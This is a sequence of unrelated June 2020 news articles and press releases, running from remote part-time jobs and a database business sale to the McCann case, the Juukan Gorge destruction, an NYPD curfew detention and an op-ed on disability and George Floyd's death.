Portion of part-time workers over age 55: 46 percent (All part-time jobs: 24.5 percent)

Median hourly pay: $17.74 (All part-time jobs: $14.76)

Satisfaction rating: 77 percent (All part-time jobs: 63 percent)

High-meaning rating: 48 percent (All part-time jobs: 57 percent)

Who's hiring remote workers: ProLedge, AccountingDepartment.com, Supporting Strategies

Bookkeepers create and maintain a company's financial records, which includes issuing payments to suppliers and invoices to customers. Step up to the title of full-charge bookkeeper and you'll take on sole responsibility for a company's accounting matters, including supervising lower-level bookkeepers and accounting clerks. More older workers go for the full-charge role and enjoy the higher pay that comes with greater responsibility; 74 percent of all full-charge bookkeepers are over 55, and their median pay is $21.10 an hour. Either way, you can find opportunities to keep your accounting expertise at home and provide your services virtually.

2. Registered nurse

Portion of part-time workers over age 55: 23 percent

Median hourly pay: $32.03

Satisfaction rating: 66 percent

High-meaning rating: 76 percent

Who's hiring remote workers: Forward, Novasyte Health, Privia Health

Telehealth services were growing in popularity before the coronavirus hit the U.S. and got an extra boost from the pandemic. As a result, nurses and other medical professionals can continue providing care and expertise from the safety of their own homes.

But the standards for filling such jobs remotely are no more lax: You still need to have completed the rigorous education and training necessary to become a nurse. Plus, you have to maintain a nursing license in the state where you plan to work, which can be tricky if you're working remotely and are able to assist patients who live elsewhere. For example, the telemedicine nurse practitioner position with Forward requires a license in California; New York; or Washington, D.C., with a preference for candidates licensed to practice in multiple locations. (Licensure requirements vary by state.) Still, both the relatively high pay and the sense of meaning can make the hurdles worthwhile.

3. Administrative assistant

Portion of part-time workers over age 55: 22 percent

Median hourly pay: $14.84

Satisfaction rating: 70 percent

High-meaning rating: 59 percent

Who's hiring remote workers: My BTLR, Team Delegate, Profit Factory, VaVa Virtual Assistants

You don't always have to be physically at the office to ensure that it runs efficiently. Virtual assistants are able to provide administrative support from the comfort and safety of their own homes. Specific duties can vary greatly from gig to gig, but tasks are likely to include a range of services, from scheduling and email management to social media strategizing and event planning. In addition to checking out the opportunities available via the staffing agencies listed above, you can use freelance job boards such as FreeUp and Upwork to connect with potential clients.

4. Paralegal

Portion of part-time workers over age 55: 20 percent

Median hourly pay: $17.46

Satisfaction rating: 70 percent

High-meaning rating: 53 percent

Who's hiring remote workers: Equivity

Paralegals, along with legal assistants, provide support to lawyers by tackling a range of tasks, including conducting legal research, organizing and maintaining documents and files, and writing reportsall of which can be done from anywhere. You may need experience in a particular field or geographic location to qualify. One opportunity, for example, available through staffing agency Equivity, seeks candidates with litigation experience in California; another position requires estate planning experience.
Zim Corporation sells database technology assets  focuses on its bio-medical and other investment activities.

OTTAWA, June 5, 2020 /PRNewswire/ - Zim Corporation (OTCBB: ZIMCF), a provider of software products and services for the database and mobile markets, today announced the sale of its database technology business as part of management's plan to focus the business on its biomedical subsidiary NuvoBio. The database assets have been purchased by members of Zim Corporation's staff and will operate under the name Zim Databases Canada Inc. Deal terms of the acquisition were not disclosed.

Zim Corporation, which owns 100% of NuvoBio Corporation (established in 2016) as well as minority stakes in other technology investments, will focus on building shareholder value through it bio-medical subsidiary. The company plans to evaluate other strategic investments and commercialization opportunities in emerging healthcare & technology businesses.

"The sale of our Database business is a strategic step to focus 100% of our efforts on our biomedical subsidiary, NuvoBio," said Dr. Michael Cowpland, President and CEO of Zim Corporation, "We are very encouraged with the research results that NuvoBio is seeing with its development of cancer therapeutics. We intend to pursue our investment and commercialization activities with NuvoBio as well as other opportunities in biomed and emerging technologies."

ABOUT Zim Corporation

ZIM Corporation holding company with diversified investments in the biomedical research and emerging technologies field. The company's investments include research & development of novel cancer therapeutics as well as advanced materials used in 3D printing applications. For more information on ZIM Corporation, visit www.zim.biz.

This news release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934, with respect to ZIM's use of its cash from operations. All forward-looking statements made in this press release relating to expectations about future events or results are made as of, and are based upon information available to ZIM as of, the date hereof. These forward-looking statements are subject to risks and uncertainties that may cause actual results to differ materially from those described or implied by any forward-looking statements. New risks can arise and it is not possible for management to predict all such risks, nor can it assess the impact of all such risks on our business or the extent to which any factor, or combination of factors, may cause actual results to differ materially from those contained in any forward-looking statements. Given these risks and uncertainties, investors should not place undue reliance on forward-looking statements as a prediction of actual results. All forward-looking statements speak only as of the date of this news release. We undertake no obligation to revise or update publicly any forward-looking statements in order to reflect any event or circumstance that may arise after the date of this news release, other than as required by law. Please refer to ZIM's filings with the SEC for additional information regarding risks and uncertainties. Copies of these filings are available through the SEC's website at www.sec.gov.

SOURCE ZIM Corporation

Related Links

www.zim.biz


GATINEAU, QC, June 5, 2020 /CNW/ - Every year, the Government of Canada celebrates Canadian Environment Week, an important milestone to raise awareness and protect the environment. This year, Environment Week was celebrated virtually, as Canadians continue to practise physical distancing during the COVID19 pandemic.

This week, the Minister of Environment and Climate Change, the Honourable Jonathan Wilkinson, commemorated the 2020 edition of Canadian Environment Week by participating in various virtual events.

On June 2, Minister Wilkinson was joined by the United Kingdom's Minister of State for Business, Energy and Clean Growth, the Right Honourable Kwasi Kwarteng, to welcome six new members to the international Powering Past Coal Alliance, including the Quebec-based Desjardins Group. This virtual announcement was attended by hundreds of investors and climate-policy experts from all over the world. Phasing out coal power is good for human health, the environment, and the economy, and Canada is proud to be taking a leadership role on the world stage.

On June 4, Minister Wilkinson joined young leaders from Leading Change Canada to discuss the importance of continued youth engagement in developing solutions and ideas to protect our nature and act on climate change. As the country works toward social recovery and better public health, young voices are needed more than ever to help the country build a stronger and more resilient economy.

June 5 is World Environment Day, and Montreal was selected as this year's North America host city. For this occasion, Minister Wilkinson participated in a virtual event organized by Montreal's Space for Life and by the United Nation's Secretariat of the Convention on Biological Diversity. There, he announced more than 60 nature conservation projects under development, which are protecting biodiversity from coast to coast to coast and helping Canada achieve its target of protecting 25 percent of its lands and 25 percent of its oceans by 2025. Nearly half of these projects are Indigenous-led, with the purpose of working toward creating Indigenous protected and conserved areas. All projects are available to view on the new Canada Target 1 Challenge map.

Science plays a critical role in the protection of our environment. Throughout Canadian Environment Week, Environment and Climate Change Canada scientists connected with kids across the country through Exploring by the Seat of Your Pants, an organization that teaches kids about science, conservation, and exploration through virtual field trips.

Quotes

"This year's Canadian Environment Week was a celebration of our nature and a reflection on the importance of safeguarding our environment. Even under the special circumstances during the COVID-19 pandemic, I witnessed the special relationship Canadians share with their natural environment. It is this relationship that makes Canadian Environment Week so important and helps ensure the health and well-being of Canadians today and for generations to come."

 The Honourable Jonathan Wilkinson, Minister of Environment and Climate Change

Associated links

Environment and Climate Change Canada's Twitter page

Environment and Climate Change Canada's Facebook page

SOURCE Environment and Climate Change Canada

For further information: Moira Kelly, Press Secretary, Office of the Minister of Environment and Climate Change, 819-271-6218, [email protected]; Media Relations, Environment and Climate Change Canada, 819-938-3338 or 1-844-836-7799 (toll-free), [email protected]

Related Links

http://www.ec.gc.ca


At 3 p.m., though, there was no raucous crowd or passionate chants, just eight people standing in awkward silence. A couple of police officers stood around chatting with demonstrators, most of whom had never been to a protest. An elderly woman in a red T-shirt and sneakers said she could only protest for an hour because she had to go home and feed her cat. A few high school students nervously held handmade signs and snapped selfies. No one seemed to know what to do.
Queensland workers who test positive for COVID-19 can apply for a one-off $1500 hardship payment from the state government, Premier Annastacia Palaszczuk has announced.

The announcement came as Ms Palaszczuk fended off another attack from Clive Palmer regarding the state border closures and his pending High Court case against multi-state border lock downs.

Workers in the reopening hospitality industry could be eligible for a $1500 one-off payment if they contract COVID-19. Credit:Chris Hyde/Getty Images

Industry and unions representative have pushed for the COVID-19 support scheme, to ensure no employees risk going to work when sick, just so they can pay their rent or put food on the table.

"If a person tests positive and goes into quarantine, we dont want them turning up to work," Ms Palaszczuk said on Friday.
Kate and Gerry McCann have suffered "some of the worst" abuse online since their daughter's disappearance, a former top police officer has said. (PA Images)

Madeleine McCanns parents suffered some of the worst harassment and bullying seen during an investigation, a former top police officer has said.

Jim Gambles comments come as a new suspect emerged in Germany who is being investigated for her murder.

German police are treating the case as if Madeleine is dead, though the Met insists the investigation remains a missing persons inquiry.

German authorities and the Met have asked for information on Madeleines whereabouts and phone numbers, properties and vehicles linked to a 43-year-old German, who was said to be living in the Algarve between 1995 and 2007.

Madeleine McCann is thought to be dead and a suspect has been investigated on suspicion of murder, German authorities say. (PA Images)

Madeleine went missing in the Algarve town of Praia da Luz in 2007.

Gamble, who led the Child Exploitation and Online Protection Centre, and worked on one of the British investigations into the disappearance, said the McCann case was pretty unique. spoke about the case on the BBCs Coronavirus Newscast.

Asked about his response to critics who complained about the amount of money put into the 13-year search, Gamble said he understood the attitude was this is one missing child when theres literally hundreds of thousands every year.

He said, however, the truth is there are not that many, and children who go missing in the UK mostly turn up within about three days.

The ground floor apartment in Praia Da Luz from where Madeleine McCann went missing. (PA Images)

He added that a British child going missing on holiday abroad is very different to when a child goes missing at home.

I think it has engendered a split in public opinion unlike any other case Ive ever seen, he told BBCs Coronavirus Newscast.

Part of the split in public opinion has centred around Madeleines parents, who have been subjected to years of online criticism. They have previously admitted to being shocked by the abuse, saying they had seen the worst and the best of human nature since the campaign to find their daughter thrust them into the spotlight.

They have also endured a long-running libel battle against Goncalo Amaral, the Portuguese detective who led the initial inquiry into Madeleines disappearance, who alleged in a book that the girl had died in the holiday flat.

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And in 2017, Mrs McCann blasted the misinformation, half-truths and downright lies that had circulated around her daughters case - although her husband has insisted that overall they had been overwhelmingly seeing the better side of human nature and received fantastic support.

Gamble said of the abuse: Some of the social media content directed at the parents is among some of the worst harassment and bullying that Ive seen in any case.

The McCanns spokesman, Clarence Mitchell, said on Friday: They certainly will be encouraged to know the appeal is yielding results already and hopefully within that there will be crucial bits of information the police can act upon.

A VW T3 Westfalia campervan that has been linked to the suspect. (PA Images/Met Police)

Gamble also told Newscast that the German authorities, the Met and Portuguese police have more information than theyre actually sharing with us to avoid diminishing evidence by putting words in peoples mouths.

Instead, by putting out information they have, they are hoping the public will be able to corroborate their evidence, he said.

German prosecutors said the suspect funded his lifestyle through crime, including break-ins at hotels and holiday apartments.

His Portuguese mobile phone was in Praia da Luz when it took a half-hour call about an hour before Madeleine was last seen.

Photos of properties linked to the suspect have been issued by police, as have images of a VW T3 Westfalia camper van and a 1993 Jaguar XJR6 that prosecutors say may have been used in the incident.
For more information about the Donkey Sanctuary, including advice on how to care for animals, and to make donations visit www.thedonkeysanctuary.ie

With Ireland set to head into what some are predicting will be the worst recession in the history of the State due to the impact of the COVID-19 pandemic, the charity sector is set to be among most hardest hit.

A prime example of this is the Donkey Sanctuary in Liscarroll, which relies heavily on public donations to carry out its work.

The Sanctuary's PR officer Cathy Griffin told The Corkman they are "bracing themselves" for an influx of animals over the coming weeks and months.

"This is a huge worry for us because we are already full to capacity. While we have not seen an influx of abandoned animals since the start of the COVID-19 pandemic, we are very concerned about what is coming down the line," said Cathy.

The Sanctuary is currently caring for 1,172 animals at it's Liscarroll base and three other nearby farms, with a further 673 being cared for in guardian or foster homes.

Cathy said that since she started working at the Sanctuary in 2014 it has seen 1,658 donkeys and mules come through its gates, many of them young animals that have been abandoned in varying conditions.

"The reality of the situation is that this has been an ongoing problem since the last recession in 2008. Prior to that, for some reason, donkey prices went through the roof during the Celtic Tiger and people with money were buying donkeys, horses and ponies," said Cathy.

"Then the recession happened and people realised they could not afford to look after their animals. We found the number of abandoned animals and requests from the public for us to take others in to the sanctuary steadily increased and has not let up since. Our concern is that another recession will further compound the problem," she added.

She said another key issue was that donkeys and mules are essentially desert animals and are therefore not designed for the Irish climate, something that many people who acquire them do not fully appreciate.

"Adding to that, donkeys and mules are very stoic animals so people very often do not realise they are sick or in pain. People think they are doing the rights things to look after their animals when the opposite can often be the case the case. That is when they come to us for help or we receive reports about abandoned animals."

Cathy said another huge concern has been loss of income after the sanctuary, which attracts thousands of visitors each year, was forced to close its doors to the public due to the COVID-19 restrictions.

This massive drop in footfall has had a huge impact on its income streams as donations from visitors and spending in their on-site shop bottomed out. In addition, many of the fundraising events had to be cancelled, leaving a gaping hole in the sanctuary's finances.

"Another problem is that we have had to halt our re-homing programme. So, with no animals moving out from the sanctuary, the lack space for new intakes is likely to become a huge problem for us," said Cathy.

"Therefore, an increase in abandoned animals and request to us for help due to the recession that will inevitably arise out of the COVID-19 crisis will put us under massive pressure," she added.

For more information about the Donkey Sanctuary, including advice on how to care for animals, and to make donations visit www.thedonkeysanctuary.ie
Their faces are painted on the walls so that people will not forget.

In Baton Rouge, La., grocery shoppers at the Triple S Food Mart walk by an image of Alton Sterling near the spot where the 37-year-old black man was fatally shot by two police officers in 2016.

In the Bronx, a portrait of Amadou Diallo adorns a building on Wheeler Avenue close to where he was killed in a hail of 41 police bullets in 1999.

But the murals that memorialize people killed in deadly encounters with the police do not always survive as legacies of loss.

So it is with the mural that was painted on a Staten Island storefront in 2018 to mark the death of Eric Garner, who suffocated in a police officers chokehold in 2014. This week, when protesters decrying the death of George Floyd in Minnesota marched on Staten Island, they passed the spot on Bay Street where Mr. Garner had died, but the mural has been painted over.
Ahmedabad:

A doctor and a sweeper of a leading hospital in Gandhinagar district of Gujarat have been arrested in connection with the rape of a 19-year-old dengue patient who was admitted in the ICU for treatment, police said on Friday.

Both the accused Dr Ramesh Chauhan and sweeper Chandrakant Vankar--from Apollo Hospital, located at Bhat village in Gandhinagar were arrested yesterday. "We have arrested Chauhan and Vankar on the charges of rape.

The girl alleged that both of them took turns to rape her on the night of Saturday and Sunday at the hospital where she was undergoing treatment for dengue," said Adalaj police inspector A K Pandya. The duo has been remanded to police custody by a local court till Saturday.

The girl was raped in the ICU unit of the hospital, where authorities do not allow relatives of the patient to stay back in the night. On September 7, the girl had lodged a complaint with Adalaj police alleging that she was raped by the hospital sweeper, whom she identified as Chandu, besides a doctor, whom she could recognise by his face.

Based on the complaint, police had lodged a case under section 376 (C)(D) of the Indian Penal Code for rape and subsequently arrested Vankar and Chauhan, said Pandya. Apollo Hospital said that they are cooperating fully with the police in investigation.

"The ward where the incident took place has 14 staff working round-the-clock, and is equipped with CCTV cameras. We are co-operating fully with the police which is examining CCTV footages and carrying out the investigations," said a statement issued by the hospital.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size On Friday, May 15, the traditional owners of Juukan Gorge in Western Australia's Hamersley Range put in a request with Rio Tinto: could they access the site of two 46,000-year-old rock shelters for their upcoming NAIDOC Week celebrations? The answer that came back from the mining giant was no. The site, Rio told them, was laden with explosives and about to be destroyed to make way for a major expansion of an iron ore mine nearby. The site at Juukan Gorge that was reduced to rubble to extend one of Rio's iron ore mines. The Puutu Kunti Kurrama and Pinikura Aboriginal Corporation  whose lands cover 10,000 square kilometres of the Pilbara  say they were left in disbelief. At once they implored Rio to call off the blasting or at least protect the shelters. They phoned the WA government, then appealed to the federal government. It seemed little could be done. Rio delayed the detonation and brought in experts to assess. But as the PKKP would soon be told, it was all too late. The charges could no longer be safely removed. Left unfired, they would be dangerous. And on May 24, the site was reduced to rubble. "We know from archaeological studies that it is one of the earliest occupied locations, not only in the western Hamersley Plateau, but also in the Pilbara and nationally," the PKKP said the next day. "Losing these rock shelters is a devastating blow." In the week and a half that followed, two photos of the site have been seen around the world. The first one shows the red rock caves, a curved hilltop above them. Their sloping entrances are covered in greenery of small trees and scrub that appear nearly golden in the sunlight.

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The second is of the same scene, shockingly altered. The caves are naked, their red rocks laid bare. Trees and scrub have been torn up, the hilltop above has been flattened and furrowed. Workmen in hard hats and high-vis stand atop it, revealing the scale of the caves destroyed. There are other pictures, however, that have not been seen for cultural reasons: of priceless objects retrieved in the final "salvage" dig inside the shelters. Grinding and pounding stones, representing the earliest use of grindstones in the Pilbara. A marsupial bone dating back 28,000 years which had been sharpened and turned into a pointed tool. And a piece of a 4000-year-old plaited "hair belt" with DNA linking it to today's PKKP people. Such findings have placed the shelters among the most significant archaeological research sites in Australia, and one of the earliest  if not the earliest  in the upland Pilbara. "Our people are deeply troubled and saddened by the destruction of these rock shelters and are grieving the loss of connection to our ancestors as well as our land," PKKP Land Committee chair John Ashburton said. The past week has been one of the worst in memory for Rio Tinto, the second-largest mining giant on the ASX. Its investors are demanding explanations, the federal government is flagging urgent reviews of heritage protection laws, the internet is aflame with anger and disbelief. The reputation of the company  widely considered to have been an industry leader on matters of cultural heritage and Indigenous affairs  has taken a battering. 'The corporation has been direct and explicit in the significance of these rock shelters ... For Rio Tinto to suggest otherwise is incorrect.' Burchell Hayes, Puutu Kunti Kurrama and Pinikura Aboriginal Corporation "It's incomprehensible," federal Indigenous Affairs Minister Ken Wyatt said. "Our culture is so important, it is so powerful and it is so important in passing down our stories and history between generations."

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"Everyone is shocked," Australian Council of Superannuation Investors chief executive Louise Davidson said. "The first question investors are asking Rio is 'How did this happen?'. The second is 'What are they doing to ensure something similar never happens again?'." The view looking north over the Juukan rock shelters in 2013. Credit:PKKP There is no dispute about the legality of Rio's actions at the site. The miner had secured all required legal approvals way back in 2013 to blast the part of Juukan Gorge which sat on the edge of the company's Brockman 4 iron ore mine and had been deemed too close to the ore body to avoid in the expansion. Nor was there any dispute about the site's significance. In the process of pursuing ministerial consent, Rio had consulted the traditional owners and carried out archaeological and cultural surveys over 10 years to identify places of significance, before finally receiving full legal approval in 2013 on the condition further digs were conducted. But a 2014 salvage mission intended to fulfil Rio's final cultural obligation unearthed finds of a significance that exceeded all expectations. In close collaboration with the PKKP, their work then turned to retrieving more than 7000 artefacts and putting them into storage to ensure their preservation. What is being disputed, as the fallout continues, is whether Rio Tinto was aware of requests from PKKP for the significant site to be preserved and not destroyed following the discovery of the artefacts.

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"We are sorry that the recently expressed concerns of the PKKP did not arise through the engagements that have taken place over many years under the agreement that governs our operations on their country," Rio Tinto said. Chris Salisbury, Rio's iron ore chief, said the company "thought we had a shared understanding with the PKKP about the future of that site". "Clearly there was a misunderstanding," he told the ABC on Friday, as the public pressure showed no signs of abating. The miner has apologised to the traditional owners, committed to an internal review and said it would seek to repair its relationship with the PKKP. Chris Salisbury, Rio Tinto's chief executive of iron ore, says there was a misunderstanding. Credit:AAP The PKKP, however, reject outright the claim that their position was not known. Spokesman Burchell Hayes said the Aboriginal corporation had relayed the significance of the site to the company "on numerous occasions since 2013", including a report by Scarp Archaeology in 2015 and a documentary funded by Rio Tinto the same year, in which traditional owners gave interviews about the gorge's significance. Hayes said the corporation only learned of the miner's plans by chance on May 15, when it applied for permission to access the sites for NAIDOC Week.

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"At all times the PKKPAC has been direct and explicit in the archaeological and ethnographic significance of these rock shelters and the importance that they be preserved," Hayes said. "For Rio Tinto to suggest otherwise is incorrect. We believe Rio Tinto's outrageous statement is a bid to minimise the adverse public reaction." 'There is a big difference between acting legally and acting ethically.' Susheela Peres da Costa, proxy advisory firm Regnan In essence, both parties claim to have been blindsided. The questions that now remain are questions of governance and process, with prominent shareholders looking for answers. One of Rio's top investors, Aberdeen Standard, this week said the site's destruction was deeply concerning and called into question the adequacy of Rio's governance, community engagement and significant-site policies. "We are really saddened and deeply concerned about what happened," Aberdeen investment manager Camille Simeon said. "It raises the question around doing what is legal versus doing what is right. It does appear to have been legal but is it the right thing to do, to destroy something with such huge cultural significance?" Large shareholders and the firms that advise them on corporate ESG (environmental, social, governance) issues say the disconnect between Rio and the traditional owners points to the need to significantly improve community engagement.

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South African hospitals could be overwhelmed by coronavirus cases within a matter of weeks, according to the countrys top vaccine expert.



Hospitals in Cape Town are already near capacity, and the infection rate is reported to be rising sharply across the south of the country.



Doctors in Cape Town are warning that many hospitals there will be struggling to cope soon.



In the Eastern Cape province the situation is looking even worse.



One of the countrys top Covid-19 experts, Prof Shabir Madhi, called it alarming and said the true infection rate was now far higher than indicated by an overloaded testing system.



The professor warned that the struggling Eastern Cape could well give clues as to how the pandemic will affect the rest of the continent.



Anyone who thought Africa might be spared, perhaps because it has a relatively young population was, he said, guilty of wishful thinking.

Source: BBC









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
NYPD officers stand by a bicycle and Caviar delivery bag after they appear to have arrested a

Anonymous

The New York Police Department detained a Caviar delivery person for violating the city's 8:00 p.m. curfew by less than 30 minutes, even though essential workers, such as food delivery people, are exempt.

The delivery person, who was riding a bicycle and carrying a Caviar branded delivery bag, attempted to prove their identity on site but was taken to the station where their identity was verified. They were then let go.

A police spokesperson told Insider, "Tonight was the night, zero tolerance. If you're on the street, you're getting arrested."

City guidelines state that essential workers only have to identify themselves as essential workers to avoid a potential penalty and that anyone violating curfew would be allowed to disperse multiple times before any legal penalties.

New York City Mayor Bill de Blasio condemned the arrest on Twitter.

Visit Insider's homepage for more stories.

The NYPD detained a Caviar delivery person for violating the city's 8:00 p.m. curfew, even though city guidelines exempt delivery people, according to two videos uploaded to Twitter.

Insider has verified that the videos were both taken at 108th and Central Park West in Manhattan less than 30 minutes after the curfew went into effect. Protesters were marching up Central Park West when officers detained the delivery person. They were later released without charges, according to an NYPD spokesperson.

New York Mayor Bill de Blasio initiated an 11:00 p.m. curfew on Monday, moved to 8:00 p.m. on Tuesday, in response to days of unrest after protests after George Floyd, an unarmed Black man, died after a police officer knelt on his neck for over eight minutes. The officer is now facing second-degree murder and manslaughter charges, while the other three officers involved were charged with aiding and abetting second-degree murder and second-degree manslaughter.

The curfew is the first in the city since 1943 when chaos erupted after a white NYPD officer shot a black US Army soldier. The curfew only applied to Harlem.

Story continues

The Mayor's office released guidelines about the curfew, which clearly state that all essential workers "are permitted to travel to/from work and to be in public while performing their job duties." Food delivery workers are essential workers.

The guidelines also state that essential workers only need to identify themselves as essential workers to police in order to avoid arrest. They also state that individuals who violate the curfew will be given "every opportunity to return home."

In this case, the delivery person was detained, brought back to the police station, and then was released once their identity as an essential worker was verified, according to NYPD spokesperson Mary O'Donnell. O'Donnell said the detention was a part of a crackdown on curfew violations Thursday evening.

"Tonight was the night, zero tolerance," O'Donnell said. "If you're on the street, you're getting arrested."

New York City Mayor Bill de Blasio condemned the arrest on Twitter early Friday morning.

Mayor Bill de Blasio (@NYCMayor) June 5, 2020

One video appears to show the delivery person being arrested by police as they try to prove that they're an essential worker who is allowed to be out. Some police officers appear to be searching a Caviar delivery bag while other officers handcuff the delivery person.

"I'm not even doing anything," the delivery person yells.

"You're violating the curfew," a police office responds.

"It tells me on the app that I can show you guys something," The delivery person responds. "It tells me to show you guys that you can't arrest me. Are you serious?"

When asked why the delivery person was detained and brought to the station, instead of letting them prove their identity on the street, O'Donnell said that "it wouldn't be the first time that someone wasn't who they said they were."

A second video, taken at 8:27 p.m. local time, shows officers closing the doors of a police van, while the delivery person's bike and bag sit outside. Insider was able to speak with the person who took the video, who asked to remain anonymous because of fear of police retribution.

"We were peacefully walking up Central Park West," the source wrote to Insider. "We got to 108th. The NYPD were with us the whole time. Even past 8 p.m. Then at the intersection, they stopped us. They pulled one member out of the crowd and arrested. He did nothing. Then the NYPD sat there for a while. And then they arrested the delivery driver."

A DoorDash spokesperson condemned the action and confirmed that they are communicating with the city about the detention (Caviar is owned by DoorDash).

"We are alarmed by reports that a courier appears to have been arrested this evening in New York City shortly after curfew. Under the City's curfew order, food delivery workers are deemed 'essential' and permitted to travel to and from work and to be in public while performing their work while the curfew is in effect," the statement says. "We are gathering information and are in contact with City officials to determine what transpired. Essential workers must be able to complete their work and feel safe and secure while doing so, and we are prepared to provide them with our support."

Read the original article on Insider
Its purnima (day of full moon) of Jyeshtha Hindu month on Friday and Ramcharan Bohra has completed 65 days of Sanskrit classes at his Jaipur house.

The Member of Parliament from Jaipur began learning Sanskrit when Prime Minister Narendra Modi announced nationwide lockdown to prevent spread of coronavirus disease on March 24.

Since then, Bohra and his family  wife Lalita, sons Rahul and Akshay, daughters-in-law Rati and Sneha, and grandchildren Aparark and Saanvi  have been sitting around Shastri Kosalendradas for two hours every evening to get basic knowledge about Vedic literature and learning the basics of Sanskrit.

WATCH | Lockdown lessons: BJP MP Ramcharan Bohra & family learn Sanskrit

I got attracted to Sanskrit after getting in contact with Kosalendradas ji. The language brings sanskaras (rites) in a family so I decided to utilize the lockdown period to initiate my family to this ancient language, said Bohra, who took oath in Sanskrit in both tenures as Lok Sabha MP.

Bohra said he called family friend Kosalendradas on March 24 to request him to spare sometime every day to teach his family Sanskrit and introduce them to Vedic culture. I have given them basic knowledge about Sanskrit, epics Ramayana and Mahabharat, and Paninis Ashtadhyayi (the treatise on Sanskrit grammar), said Kosalendradas, assistant professor at Jagadguru Ramanandacharya Rajasthan Sanskrit University (JRRSU) in Jaipur.

In two months, even the youngest member of the Bohra family  5-year-old Aparark  has started reciting shlokas from Bhagwat and Vishnu Puranas. The common perception is that Sanskrit is very difficult but we now know that its just a perception. In two months only, we have learnt so much, said Bohra, 64.

His two sons, Rahul and Akshay, are MBAs; the elder daughter-in-law Rati is a dentist and the other one, Sneha, is lecturer of mathematics. All of them can recite mantras and sholakas. We have all gone to English-medium schools and never thought Sanskrit could be so easy to learn, said Akshay, the younger son of the Jaipur MP.

Kosalendradas says the family is learning Abhijnanashakuntalam, written by great Sanskrit poet Kalidas, these days. He said the classes will continue at least until end of June.

The classes are not held on pratipada, the first day of every fortnight in Hindu months, and amavasya, night of no moon.

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In this photo provided by the U.S. Navy, the Navy's newest littoral combat ship USS Independence (LCS-2) arrives at Mole Pier March 29, 2010 at Naval Air Station Key West in Key West, Florida. (Nicholas Kontodiakos/U.S. Navy via Getty Images)

3 Chinese Nationals Sentenced to Prison for Taking Photos at US Navy Base

Three Chinese nationals were sentenced to prison on June 4 for trespassing and taking photos of a U.S. Navy base in Florida.

Liao Lyuyou, 27, was sentenced to 12 months in prison after pleading guilty to illegally entering the Naval Air Station (NAS) Key West in December 2019, and taking photos and video of military installations, according to the U.S. Attorneys office in the Southern District of Florida.

In a separate case, Zhang Jielun, 25, and Wang Yuhao, 24, were sentenced to 12 months and nine months in prison respectively. Both men pleaded guilty to illegally entering the same naval air station on Jan. 4. They also took photos of military infrastructure, prosecutors said.

In December, Liao was arrested for illegally taking pictures at an annex of NAS Key West.

According to court records, witnesses observed Liao walking along the secure fence line of the military base. The fence had numerous warnings posted on it, documents said. He walked around the perimeter fence and entered the facility from the rocks along the water. Despite witnesses numerous warnings against trespassing, Liao proceeded to enter and took multiple photos with his camera. Liao later told officials that he can read and understand English better than he can speak it.

When U.S. military police came to question Liao a few minutes later, Liao explained in broken English that he was trying to take photographs of the sunrise, according to court documents. The officers, however, found photographs of the restricted Truman Annex area on his camera. This included images of vital military equipment, prosecutors said.

Less than two weeks later, Wang and Zhang were arrested after they drove onto the naval air station and took pictures. Court documents said they drove to a guard station at an entrance to the Sigsbee Annex within the base, and were asked to provide military identification, which they did not have. They were then told they werent authorized to enter, but they proceeded anyway, documents said.

After 30 minutes in the restricted area, the pair were apprehended by Navy security personnel, who found that they had taken photos of military structures on the base, court documents show. They also took videos with their cellphones.

Wang and Zhang, according to the documents, told FBI (Federal Bureau of Investigation) agents they read and understood English, and acknowledged that they were asked to make a U-turn when they couldnt provide military identification, but continued driving.

Previous Case

Another Chinese national was sentenced in February 2019 for taking pictures at NAS Key West.

Zhao Qianli, then a 20-year-old from Chinas Shanxi Province, was arrested in September 2018 for illegally taking photos of the same Navy base and surrounding military facilities.

According to a court document, Zhao walked directly toward the Joint Interagency Task Force South Antenna Field and took multiple photographs with his phone, as well as a camera. Investigators found that Zhao also photographed the restricted warning signs.

Zhao told investigators at the time that he was lost and that he was a dishwasher from New Jersey, but later claimed he was a music student at a Chinese university during a December 2018 debriefing.

At the hotel where Zhao was staying, FBI officials also found a police shirt and belt buckle that belonged to a Chinese government ministry, court records said. Zhao said he had obtained the items from his father, who wanted him to have nice clothes while in the United States.

Zhao was sentenced in February 2019 to a year in federal prison after pleading guilty to photographing defense installations.

In December 2019, The New York Times reported that the U.S. government secretly expelled two Chinese embassy officials who allegedly drove onto a sensitive military base in Virginia.

The two were accompanied by their wives as they drove through the entry checkpoint of the base despite being denied permission, evading military personnel who pursued them. The Times, citing officials with knowledge of the expulsion, said U.S. officials believe at least one of the Chinese officials was an intelligence officer operating under diplomatic cover.
One thing should now be clear: In America, disability can be a license to kill, to surveil, to disregard human beings. George Floyd is just the latest example.

On Monday, autopsy reports from the Hennepin County (Minn.) Medical Examiner and the Floyd family revealed that Mr. Floyds death was indeed a homicide, but diverged with respect to causation. The independent report  consistent with the viral videos capturing the encounter  found that Mr. Floyd died of asphyxiation from sustained pressure, or suffocation, after 8 minutes and 46 seconds of oxygen deprivation. By contrast, the county report concluded that Mr. Floyds cause of death was cardiopulmonary arrest complicating law enforcement subdual, restrain, and neck compression.

Mr. Floyd, in other words, had a heart attack while Minneapolis police officers restrained him, echoing Fridays preliminary finding Mr. Floyds heart conditions (derivative of high blood pressure and cholesterol) played a central role in his death. This causal divergence is (and will be) significant in how the public and the criminal justice system assign liability and mete out punishment. Whether these underlying health conditions played a role in Mr. Floyds death, however, is not the key question. Should the presence or absence of disability make his death any less meaningful or problematic?

Disability offers a convenient, publicly acceptable alibi for bad actors in our country. It is a way of excusing heinous crimes and acts against our fellow human beings and, in the process, earning public sympathy or support. It is a visible reminder of what little value society places on the lives of people with disabilities. The recent news cycle demonstrates other examples of the disability alibi at work.

First, Miami-Dade police arrested and booked Patricia Ripley on a charge of first-degree murder for taking her 9-year-old autistic son, Alejandro, to a nearby canal and drowning him. In her defense, she reportedly told police officers, hes going to be in a better place. Researchers estimate that every week, one person with a disability is murdered by a family member or caregiver who then receives greater leniency for mercy killings. Reports of family members assaulting or killing their disabled kin often fly under the radar, or worse, engender public support for the killer. A New York Times Magazine cover story from December, for example, framed the killing of an older woman with dementia by her husband as an act of love.

